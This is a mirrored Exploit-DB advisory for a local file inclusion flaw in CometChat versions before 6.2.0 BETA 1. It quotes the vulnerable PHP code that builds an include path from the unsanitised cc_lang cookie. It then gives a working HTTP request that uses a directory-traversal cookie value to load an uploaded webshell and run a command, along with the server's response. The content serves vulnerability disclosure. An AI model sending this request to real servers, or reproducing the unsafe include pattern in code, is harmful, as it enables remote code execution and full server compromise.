CometChat < 6.2.0 BETA 1 - Local File Inclusion

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• 107 阅读

• 作者： Paradoxis
  日期： 2017-10-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/43027/

• # Exploit Title: CometChat < v6.2.0 BETA 1 - Local File Inclusion
  # Date: 2017-10-22
  # Exploit Author: Luke Paris (Paradoxis) <luke@paradoxis.nl>
  # Vendor Homepage: https://cometchat.com/
  # Version: < 6.2.0 BETA 1
  # Tested on: Ubuntu Linux 14.04
  #
  # --------------------------------------------------------------------------------------
  #
  # In versions of CometChat before version v6.2.0 BETA 1 a bug existed which allowed
  # any unauthorised attacker to modify the include path of a php file by sending an
  # HTTP request with a crafted 'cc_lang' cookie.
  #
  # If successfully exploited an attacker could leverage this bug to execute arbitrary PHP
  # code which resides somewhere else on the server (eg: uploaded via an upload form).
  #
  # Due to the fact that this bug resides in the configuration file of the applications
  # it might be possible that future versions of the chat application still contain the
  # file inclusion bug as the script might have been re-applied after an update.
  #
  # --------------------------------------------------------------------------------------
  #
  # The vulnerability resides in the application's configuration file, near the beginning 
  # of the script the following code block is executed, this is where an attacker is able 
  # to inject a string into the cc_lang cookie.
  
  /* COOKIE */
  $cookiePrefix = 'cc_';
  
  /* LANGUAGE START */
  $lang = 'en';
  
  /* LANGUAGE END */ 
  if (!empty($_COOKIE[$cookiePrefix."lang"])) {
  $lang = $_COOKIE[$cookiePrefix."lang"];
  }
  
  # Near the end of the configuration file, the following code block is executed.
  # This is where the exploit is triggered by not sanitising the $lang variable properly.
  
  include dirname(__FILE__).DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.'en.php';
  if (file_exists(dirname(__FILE__).DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.$lang.'.php')) {
  include dirname(__FILE__).DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.$lang.'.php';
  }
  
  # The following example demonstrates how an attacker could leverage this bug to gain control 
  # over the server, which could result in a full server compromise (assuming the attacker has
  # already managed to write a webshell to the servers' disk somehow): 
  
  GET /cometchat/config.php?cmd=id HTTP/1.1
  Host: example.com
  Connection: keep-alive
  Cookie: cc_lang=../../uploads/evil
  
  HTTP/1.1 200 OK
  Host: example.com
  Connection: close
  Content-type: text/html; charset=UTF-8
  
  uid=33(www-data) gid=33(www-data) groups=33(www-data)
  
  

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